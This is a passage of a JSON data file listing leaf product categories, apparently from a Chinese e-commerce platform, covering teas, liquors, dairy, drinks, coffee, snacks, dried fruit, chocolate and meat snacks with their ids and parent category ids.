洱提货券","parent_cid":20168,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22327,"name":"乌龙茶提货券","parent_cid":20168,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22315,"name":"代用/花草茶","parent_cid":20166,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22318,"name":"花果果粒茶","parent_cid":20166,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22316,"name":"再加工茶","parent_cid":20166,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22317,"name":"组合型花茶","parent_cid":20166,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33292,"name":"高端白茶","parent_cid":32659,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33293,"name":"高端黑茶","parent_cid":32659,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33294,"name":"高端绿茶","parent_cid":32659,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33290,"name":"高端普洱","parent_cid":32659,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33291,"name":"高端岩茶","parent_cid":32659,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22313,"name":"安化黑茶","parent_cid":20164,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22297,"name":"六堡茶","parent_cid":20164,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22312,"name":"其它黑茶","parent_cid":20164,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22293,"name":"滇红","parent_cid":20161,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22295,"name":"金骏眉","parent_cid":20161,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22302,"name":"祁门红茶","parent_cid":20161,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22301,"name":"正山小种","parent_cid":20161,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22300,"name":"其它红茶","parent_cid":20161,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22307,"name":"安吉白茶","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22296,"name":"碧螺春","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22308,"name":"峨眉山茶","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22311,"name":"黄山毛峰","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22304,"name":"六安瓜片","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22314,"name":"龙井茶(非西湖)","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22309,"name":"日照绿茶","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22306,"name":"太平猴魁","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22310,"name":"西湖龙井","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22303,"name":"信阳毛尖","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22305,"name":"其它绿茶","parent_cid":20162,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34508,"name":"柑普/小青柑","parent_cid":20159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34594,"name":"生茶","parent_cid":20159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34507,"name":"熟茶","parent_cid":20159,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22319,"name":"大红袍","parent_cid":20167,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22322,"name":"凤凰单丛","parent_cid":20167,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22321,"name":"黑乌龙","parent_cid":20167,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22324,"name":"台湾高山茶","parent_cid":20167,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22320,"name":"铁观音","parent_cid":20167,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22323,"name":"其它乌龙茶","parent_cid":20167,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22424,"name":"传统黄酒","parent_cid":20214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22423,"name":"米酒","parent_cid":20214,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22421,"name":"果酒","parent_cid":20213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22422,"name":"露酒","parent_cid":20213,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33841,"name":"国产葡萄酒","parent_cid":20239,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33842,"name":"进口葡萄酒","parent_cid":20239,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22398,"name":"伏特加/Vodka","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33843,"name":"国产白兰地","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33845,"name":"国产威士忌","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22364,"name":"金酒/Gin","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33844,"name":"进口白兰地","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33846,"name":"进口威士忌","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22396,"name":"朗姆酒/Rum","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22395,"name":"力娇酒/Liqueur","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22397,"name":"龙舌兰/Tequila","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22363,"name":"梅酒","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22368,"name":"清酒/烧酒","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22365,"name":"威末/Vermouth","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22418,"name":"预调鸡尾酒/Alcopop","parent_cid":20209,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23063,"name":"奶干","parent_cid":20319,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23067,"name":"奶酪","parent_cid":20319,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23065,"name":"奶皮","parent_cid":20319,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23064,"name":"奶片","parent_cid":20319,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23066,"name":"奶酥","parent_cid":20319,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33053,"name":"茶粉/茶浓缩液","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23059,"name":"冲饮果汁","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23060,"name":"冲饮红糖","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23061,"name":"冲饮麦片","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33054,"name":"袋泡茶","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23052,"name":"豆浆","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23055,"name":"豆奶粉","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23062,"name":"蜂蜜果味茶","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23050,"name":"姜汤","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23053,"name":"可可/巧克力饮品","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23049,"name":"奶茶","parent_cid":20318,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23051,"name":"藕粉","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22916,"name":"普通固体饮料","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23057,"name":"双皮奶/姜汁撞奶","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23056,"name":"酸梅粉","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23054,"name":"芝麻糊","parent_cid":20318,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23137,"name":"纯牛奶","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23156,"name":"调制乳(风味奶)","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23148,"name":"低温乳制品","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32190,"name":"低温乳制品","parent_cid":20328,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23143,"name":"含乳饮料","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23126,"name":"酸奶","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23138,"name":"酸奶粉","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23125,"name":"羊奶","parent_cid":20328,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23281,"name":"葛根粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23350,"name":"谷物营养配方粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23276,"name":"抹茶粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23277,"name":"杏仁粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23279,"name":"椰子粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23282,"name":"薏米粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23280,"name":"芝麻粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32152,"name":"其他粉粉","parent_cid":20350,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23389,"name":"胶囊咖啡","parent_cid":20356,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23391,"name":"咖啡伴侣/辅料","parent_cid":20356,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23387,"name":"咖啡豆/粉","parent_cid":20356,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23388,"name":"咖啡礼盒","parent_cid":20356,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23386,"name":"咖啡液","parent_cid":20356,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23390,"name":"速溶咖啡","parent_cid":20356,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22843,"name":"茶饮料","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22804,"name":"豆奶/豆浆/植物蛋白饮料","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22960,"name":"功能饮料饮品","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22842,"name":"果蔬汁","parent_cid":20309,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22822,"name":"果味/风味饮料","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22910,"name":"即饮咖啡","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22795,"name":"凉茶","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33056,"name":"气泡水","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22844,"name":"酸梅汤","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22912,"name":"碳酸饮料","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22845,"name":"饮用水","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22911,"name":"植物饮料","parent_cid":20309,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22977,"name":"饼干","parent_cid":20313,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22983,"name":"膨化食品","parent_cid":20313,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22979,"name":"喜饼/诞生礼饼","parent_cid":20313,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22976,"name":"喜蛋","parent_cid":20313,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23382,"name":"臭豆腐","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23384,"name":"豆腐干","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23385,"name":"面筋制品","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23379,"name":"千张","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23383,"name":"蔬菜干","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23381,"name":"素鸡","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23380,"name":"素肉","parent_cid":20355,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22981,"name":"传统糕点","parent_cid":20312,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33047,"name":"蛋卷点心/曲奇糕点","parent_cid":20312,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32375,"name":"新鲜蛋糕/点心","parent_cid":20312,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22982,"name":"西式糕点","parent_cid":20312,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22975,"name":"月饼","parent_cid":20312,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23198,"name":"贝系列","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23199,"name":"海参即食","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23200,"name":"海带零食","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23201,"name":"海苔系列","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34610,"name":"即食海蜇","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23202,"name":"即食虾零食","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23204,"name":"即食鱿鱼零食","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23203,"name":"即食鱼零食","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32986,"name":"小龙虾零食","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23197,"name":"蟹系列","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32150,"name":"其他","parent_cid":20332,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23009,"name":"芭蕉干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22998,"name":"菠萝/凤梨干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23012,"name":"菠萝蜜","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23011,"name":"草莓干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23028,"name":"车厘子干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22994,"name":"陈皮","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34515,"name":"冻干制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22999,"name":"佛手果","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22992,"name":"橄榄","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33860,"name":"桂花酱/菊花酱/槐花酱/玫瑰花酱","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23005,"name":"海棠果","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23018,"name":"哈密瓜干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22995,"name":"黄皮","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23016,"name":"加应子/李子","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23030,"name":"金桔类制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23014,"name":"蓝莓干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23003,"name":"榴莲干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22988,"name":"李子","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23006,"name":"罗汉果","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23008,"name":"芒果干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23026,"name":"蔓越莓干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23024,"name":"玫瑰花脯","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23022,"name":"梅类制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23023,"name":"猕猴桃干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22987,"name":"木瓜","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23000,"name":"南瓜干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23010,"name":"苹果干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23013,"name":"葡萄干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23001,"name":"桑椹干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23029,"name":"山楂类制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23019,"name":"圣女果干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22989,"name":"柿饼","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23017,"name":"蔬果干/混合果干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34593,"name":"蔬果干/混合果干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32151,"name":"水果罐头","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23027,"name":"薯类制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22993,"name":"酸角","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23025,"name":"笋类制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22990,"name":"桃干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23020,"name":"无花果干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23015,"name":"香蕉干/片","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22996,"name":"杏仁/杏干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23002,"name":"椰子片","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23004,"name":"樱桃干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22997,"name":"柚脯/柚干","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23007,"name":"芋头条","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23021,"name":"枣类制品","parent_cid":20314,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23145,"name":"白巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23155,"name":"饼干巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33044,"name":"DIY/手工巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23152,"name":"果仁巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23146,"name":"黑巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23153,"name":"混合巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23149,"name":"夹心巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23154,"name":"牛奶巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23144,"name":"巧克力酱","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23150,"name":"巧克力制品","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23151,"name":"松露巧克力","parent_cid":20329,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34609,"name":"鹌鹑类","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23210,"name":"鹅肉类","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32148,"name":"鸽肉类","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33051,"name":"健身轻食肉制品","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23213,"name":"鸡肉零食","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33049,"name":"即食卤味/盐焗蛋","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23209,"name":"骆驼肉","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23212,"name":"卤味素食","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23205,"name":"驴肉","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23206,"name":"牛肉类","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23215,"name":"人造肉零食","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33050,"name":"肉类礼包/组合","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23211,"name":"兔肉干/兔丁","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23208,"name":"羊肉类","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23214,"name":"鸭肉零食","parent_cid":20333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23207,"name":"猪肉类","parent_cid":20333,"level":3,"enable":1,"is_